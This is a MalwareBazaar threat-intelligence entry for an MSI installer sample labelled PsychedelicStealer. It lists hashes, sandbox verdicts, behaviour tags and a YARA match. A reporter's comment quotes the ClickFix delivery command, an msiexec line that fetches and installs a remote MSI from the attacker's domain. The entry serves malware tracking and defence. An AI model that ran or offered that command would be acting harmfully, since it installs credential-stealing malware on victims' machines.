MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 d7c49a2a55a11da0fafbddc493bb506cf7a73ac9256db7c2261a26089bcd8c65. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

PsychedelicStealer

Vendor detections: 7

Intelligence 7 IOCs YARA 1 File information Comments

SHA256 hash:	d7c49a2a55a11da0fafbddc493bb506cf7a73ac9256db7c2261a26089bcd8c65
SHA3-384 hash:	0e13d9ef35f80bdebda08b8929f74c830dc9e2497c2a84a71213d79f356c092ded71a75cae4b803a25a52ce86f53e075
SHA1 hash:	f66fe5343f17e9fff22c2579ef896f822e780bff
MD5 hash:	3d332d781156f081a176cbb2db33c928
humanhash:	vegan-aspen-north-pasta
File name:	relax.msi
Download:	download sample
Signature	PsychedelicStealer Create hunting rule
File size:	4'628'480 bytes
First seen:	2026-09-29 08:02:19 UTC
Last seen:	Never
File type:	msi
MIME type:	application/x-msi
ssdeep	98304:4hnbFASCwfG3FYRPKNpsgjhtUhdj13/WylL7lVjcPvAX/GMtA5QqqIt:4RbFAgG3ScN2YtUhp1vWylVXX/GM+BZ
TLSH	T1CD26336BF9CC2663D407A135128B57C51F2A8E4D87F7B5A20D88F06DA4327B0B68F9C5
TrID	84.7% (.MSP) Windows Installer Patch (44509/10/5) 15.2% (.) Generic OLE2 / Multistream Compound (8000/1)
Magika	msi
Reporter	EricParker
Tags:	msi PsychedelicStealer uasputnik

atEricParker

delivered by clickfix attack with command msiexec /i "https://uasputnik.com/relax.msi", a relative of the psychedelicstealer payload.

Intelligence

File Origin

# of uploads :

# of downloads :

Origin country :

Vendor Threat Intelligence

Malware configuration found for:

MSI

Details

Link:

https://research.acce.ciphertechsolutions.com/results/f5c07333-da23-4137-b41c-0bf766474ea1/

Detection:

n/a

Link:

https://www.capesandbox.com/analysis/89616/

Verdict:

Likely Malicious

Threat level:

7.5/10

Confidence:

100%

Tags:

CAB installer installer wix

Link:

https://www.filescan.io/uploads/6abb70c30dd4c2f9c05b9caa/reports/f862a121-49d0-4d91-8a50-4743e2cf7df7/overview

Verdict:

Unknown

Link:

https://www.hybrid-analysis.com/sample/d7c49a2a55a11da0fafbddc493bb506cf7a73ac9256db7c2261a26089bcd8c65

Verdict:

Unknown

File Type:

msi

Link:

https://opentip.kaspersky.com/d7c49a2a55a11da0fafbddc493bb506cf7a73ac9256db7c2261a26089bcd8c65/results?tab=lookup

Score:

74%

Verdict:

Malware

File Type:

Result

Malware family:

n/a

Score:

7/10

Tags:

defense_evasion discovery execution installer persistence privilege_escalation ransomware

Link:

https://tria.ge/reports/260929-jxs6cavdkb/

Behaviour

Checks SCSI registry key(s)

Delays execution with timeout.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Inno Setup is an open-source installation builder for Windows applications.

Event Triggered Execution: Installer Packages

Executes a command shell one-liner

Reads the TCP/IP host and domain name from the registry

System Location Discovery: System Language Discovery

Drops file in Windows directory

Enumerates connected drives

Executes dropped EXE

Loads dropped DLL

Please note that we are no longer able to provide a coverage score for Virus Total.

Threat name:

Malicious File

Score:

1.00

Link:

https://yomi.yoroi.company/submissions/d7c49a2a55a11da0fafbddc493bb506cf7a73ac9256db7c2261a26089bcd8c65

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	FreddyBearDropper Create hunting rule
Author:	Dwarozh Hoshiar
Description:	Freddy Bear Dropper is dropping a malware through base63 encoded powershell scrip.